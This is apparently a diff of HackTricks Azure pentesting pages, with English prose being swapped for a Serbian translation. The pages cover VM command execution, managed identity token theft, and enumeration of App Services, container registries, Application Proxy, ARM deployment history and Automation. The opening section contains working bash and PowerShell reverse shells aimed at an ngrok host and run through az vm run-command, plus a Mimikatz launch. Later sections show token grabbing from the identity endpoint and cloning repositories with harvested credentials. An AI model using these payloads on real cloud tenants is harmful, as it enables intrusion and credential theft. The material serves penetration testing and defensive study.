||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
Ova dozvola omogućava korisniku da **prijavi kao korisnik u VM putem SSH ili RDP** (pod uslovom da je Entra ID autentifikacija omogućena u VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
Prijava putem **SSH** sa **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** i putem **RDP** sa vašim **redovnim Azure akreditivima**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
Ova dozvola omogućava korisniku da **prijavi kao korisnik u VM putem SSH ili RDP** (pod uslovom da je Entra ID autentifikacija omogućena u VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
Prijava putem **SSH** sa **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** i putem **RDP** sa vašim **redovnim Azure akreditivima**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
Sve ove dozvole su neophodne da se **kreira VM sa specifičnom upravljanom identitetom** i da se ostavi **port otvoren** (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se na njega i **ukrade tokene upravljane identitete** kako bi eskalirao privilegije na njega.
|
||||
|
||||
U zavisnosti od situacije, može biti potrebno više ili manje dozvola za zloupotrebu ove tehnike.
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
Ove dozvole su dovoljne da **dodelite nove upravljane identitete VM-u**. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati **sistemsku dodeljenu identitet** i **mnoge korisnički upravljane identitete**.\
|
||||
Zatim, iz usluge metapodataka moguće je generisati tokene za svaki od njih.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
Then the attacker needs to have **kompromitovao na neki način VM** to steal tokens from the assigned managed identities. Check **više informacija u**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
@@ -380,7 +354,3 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Portals
|
||||
## Portali
|
||||
|
||||
You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
|
||||
Možete pronaći listu **Microsoft portala na** [**https://msportals.io/**](https://msportals.io/)
|
||||
|
||||
### Raw requests
|
||||
### Sirove zahteve
|
||||
|
||||
#### Azure API via Powershell
|
||||
#### Azure API putem Powershell-a
|
||||
|
||||
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Then query the Azure REST API to get the **subscription ID** and more .
|
||||
Dobijte **access_token** iz **IDENTITY_HEADER** i **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
|
||||
|
||||
Zatim upitite Azure REST API da dobijete **subscription ID** i još.
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
# $URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
@@ -31,9 +30,7 @@ $RequestParams = @{
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
|
||||
```
|
||||
|
||||
#### Azure API via Python Version
|
||||
|
||||
#### Azure API putem Python verzije
|
||||
```python
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
@@ -50,28 +47,21 @@ val = os.popen(cmd).read()
|
||||
print(json.loads(val)["access_token"])
|
||||
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
||||
```
|
||||
|
||||
or inside a Python Function:
|
||||
|
||||
или unutar Python funkcije:
|
||||
```python
|
||||
import logging, os
|
||||
import azure.functions as func
|
||||
|
||||
def main(req: func.HttpRequest) -> func.HttpResponse:
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
```
|
||||
|
||||
## List of Services
|
||||
|
||||
**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
|
||||
**Stranice ovog odeljka su raspoređene po Azure uslugama. U njima ćete moći da pronađete informacije o usluzi (kako funkcioniše i njene mogućnosti) kao i kako da enumerišete svaku uslugu.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
|
||||
Azure Container Registry (ACR) je upravljana usluga koju pruža Microsoft Azure za **čuvanje i upravljanje Docker kontejnerskim slikama i drugim artefaktima**. Nudi funkcije kao što su integrisani alati za programere, geo-replikacija, bezbednosne mere poput kontrole pristupa zasnovane na rolama i skeniranja slika, automatske gradnje, webhooks i okidače, i izolaciju mreže. Radi sa popularnim alatima kao što su Docker CLI i Kubernetes, i dobro se integriše sa drugim Azure uslugama.
|
||||
|
||||
### Enumerate
|
||||
|
||||
To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
### Enumeracija
|
||||
|
||||
Da biste enumerisali uslugu, možete koristiti skriptu [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
```bash
|
||||
# List Docker images inside the registry
|
||||
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
|
||||
@@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "
|
||||
|
||||
Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
|
||||
```
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az acr list --output table
|
||||
az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
@@ -38,19 +33,12 @@ Get-AzContainerRegistry
|
||||
# Get a specific ACR
|
||||
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Login & Pull from the registry
|
||||
|
||||
Prijavite se i preuzmite iz registra
|
||||
```bash
|
||||
docker login <corp-name>.azurecr.io --username <username> --password <password>
|
||||
docker pull <corp-name>.azurecr.io/<image>:<tag>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
## Osnovne informacije o App Service
|
||||
|
||||
Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management.
|
||||
Azure App Services omogućava programerima da **prave, implementiraju i skaliraju web aplikacije, pozadine mobilnih aplikacija i API-jeve bez problema**. Podržava više programskih jezika i integriše se sa raznim Azure alatima i uslugama za poboljšanu funkcionalnost i upravljanje.
|
||||
|
||||
Each app runs inside a sandbox but isolation depends upon App Service plans
|
||||
Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service planova
|
||||
|
||||
- Apps in Free and Shared tiers run on shared VMs
|
||||
- Apps in Standard and Premium tiers run on dedicated VMs
|
||||
- Aplikacije u Free i Shared nivoima rade na deljenim VM-ovima
|
||||
- Aplikacije u Standard i Premium nivoima rade na posvećenim VM-ovima
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**.
|
||||
U suštini, **Azure Function aplikacije su podskup Azure App Service** u web-u i ako odete na web konzolu i navedete sve usluge aplikacija ili izvršite `az webapp list` u az cli, moći ćete da **vidite da su i Function aplikacije ovde navedene**.
|
||||
|
||||
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
|
||||
U stvari, neke od **karakteristika vezanih za bezbednost** koje App services koriste (`webapp` u az cli), **takođe koriste i Function aplikacije**.
|
||||
|
||||
## Basic Authentication
|
||||
## Osnovna autentifikacija
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da bude omogućena osnovna autentifikacija. Ovo u suštini **omogućava SCM i FTP** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.\
|
||||
Pored toga, da bi se povezali sa njima, Azure pruža **API koji omogućava dobijanje korisničkog imena, lozinke i URL-a** za povezivanje sa SCM i FTP serverima.
|
||||
|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
- Autentifikacija: az webapp auth show --name lol --resource-group lol_group
|
||||
|
||||
SSH
|
||||
|
||||
@@ -33,11 +33,10 @@ Always On
|
||||
|
||||
Debugging
|
||||
|
||||
### Enumeration
|
||||
### Enumeracija
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
@@ -101,15 +100,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
@@ -125,7 +124,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
@@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group:
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtain credentials & get access to the webapp code
|
||||
|
||||
#### Dobijanje kredencijala i pristup kodu web aplikacije
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
@@ -202,17 +195,12 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
|
||||
Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
|
||||
Azure Active Directory's Application Proxy pruža **siguran daljinski pristup lokalnim web aplikacijama**. Nakon **jednostavnog prijavljivanja na Azure AD**, korisnici mogu pristupiti i **cloud** i **lokalnim aplikacijama** putem **spoljnog URL-a** ili internog portala aplikacija.
|
||||
|
||||
It works like this:
|
||||
Radi ovako:
|
||||
|
||||
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
|
||||
2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
|
||||
3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
|
||||
4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
|
||||
5. The connector sends the request to the **on-premises application**.
|
||||
6. The **response** is sent through the connector and Application Proxy service **to the user**.
|
||||
|
||||
## Enumeration
|
||||
1. Nakon što korisnik pristupi aplikaciji putem krajnje tačke, korisnik se preusmerava na **Azure AD stranicu za prijavu**.
|
||||
2. Nakon **uspešne prijave**, Azure AD šalje **token** na korisnikov klijentski uređaj.
|
||||
3. Klijent šalje token **Application Proxy servisu**, koji preuzima korisničko ime (UPN) i ime sigurnosnog subjekta (SPN) iz tokena. **Application Proxy zatim šalje zahtev konektoru Application Proxy-a**.
|
||||
4. Ako ste konfigurisali jednostavno prijavljivanje, konektor vrši bilo koju **dodatnu autentifikaciju** potrebnu u ime korisnika.
|
||||
5. Konektor šalje zahtev **lokalnoj aplikaciji**.
|
||||
6. **Odgovor** se šalje kroz konektor i Application Proxy servis **korisniku**.
|
||||
|
||||
## Enumeracija
|
||||
```powershell
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
@@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
|
||||
# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
|
||||
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Da implementirate **infrastrukturu kao kod za vaša Azure rešenja**, koristite Azure Resource Manager šablone (ARM šabloni). Šablon je datoteka u JavaScript Object Notation (**JSON**) formatu koja **definiše** **infrastrukturu** i konfiguraciju za vaš projekat. Šablon koristi deklarativnu sintaksu, koja vam omogućava da navedete šta nameravate da implementirate bez potrebe da pišete redosled programskih komandi za njegovo kreiranje. U šablonu, specificirate resurse koje treba implementirati i svojstva za te resurse.
|
||||
|
||||
### History
|
||||
### Istorija
|
||||
|
||||
If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
|
||||
Ako možete da mu pristupite, možete imati **informacije o resursima** koji nisu prisutni, ali bi mogli biti implementirani u budućnosti. Štaviše, ako je **parametar** koji sadrži **osetljive informacije** označen kao "**String**" **umesto** "**SecureString**", biće prisutan u **čistom tekstu**.
|
||||
|
||||
## Search Sensitive Info
|
||||
|
||||
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
|
||||
## Pretraga osetljivih informacija
|
||||
|
||||
Korisnici sa dozvolama `Microsoft.Resources/deployments/read` i `Microsoft.Resources/subscriptions/resourceGroups/read` mogu **čitati istoriju implementacije**.
|
||||
```powershell
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
@@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -Depl
|
||||
cat <DEPLOYMENT NAME>.json # search for hardcoded password
|
||||
cat <PATH TO .json FILE> | Select-String password
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,54 +2,53 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation pruža uslugu automatizacije zasnovanu na oblaku, ažuriranja operativnog sistema i uslugu konfiguracije koja podržava dosledno upravljanje u vašim Azure i ne-Azure okruženjima. Uključuje automatizaciju procesa, upravljanje konfiguracijom, upravljanje ažuriranjima, zajedničke mogućnosti i heterogene karakteristike.
|
||||
|
||||
These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**.
|
||||
Ovo su poput "**zakazanih zadataka**" u Azure-u koji će vam omogućiti da izvršavate stvari (akcije ili čak skripte) za **upravljanje**, proveru i konfiguraciju **Azure okruženja**.
|
||||
|
||||
### Run As Account
|
||||
### Račun za izvršavanje
|
||||
|
||||
When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
|
||||
Microsoft recommends using a **Managed Identity** for Automation Account.
|
||||
Kada se koristi **Run as Account**, kreira se Azure AD **aplikacija** sa samopotpisanim sertifikatom, kreira se **servisni principal** i dodeljuje se **Contributor** uloga za račun u **trenutnoj pretplati** (mnogo privilegija).\
|
||||
Microsoft preporučuje korišćenje **Managed Identity** za Automation Account.
|
||||
|
||||
> [!WARNING]
|
||||
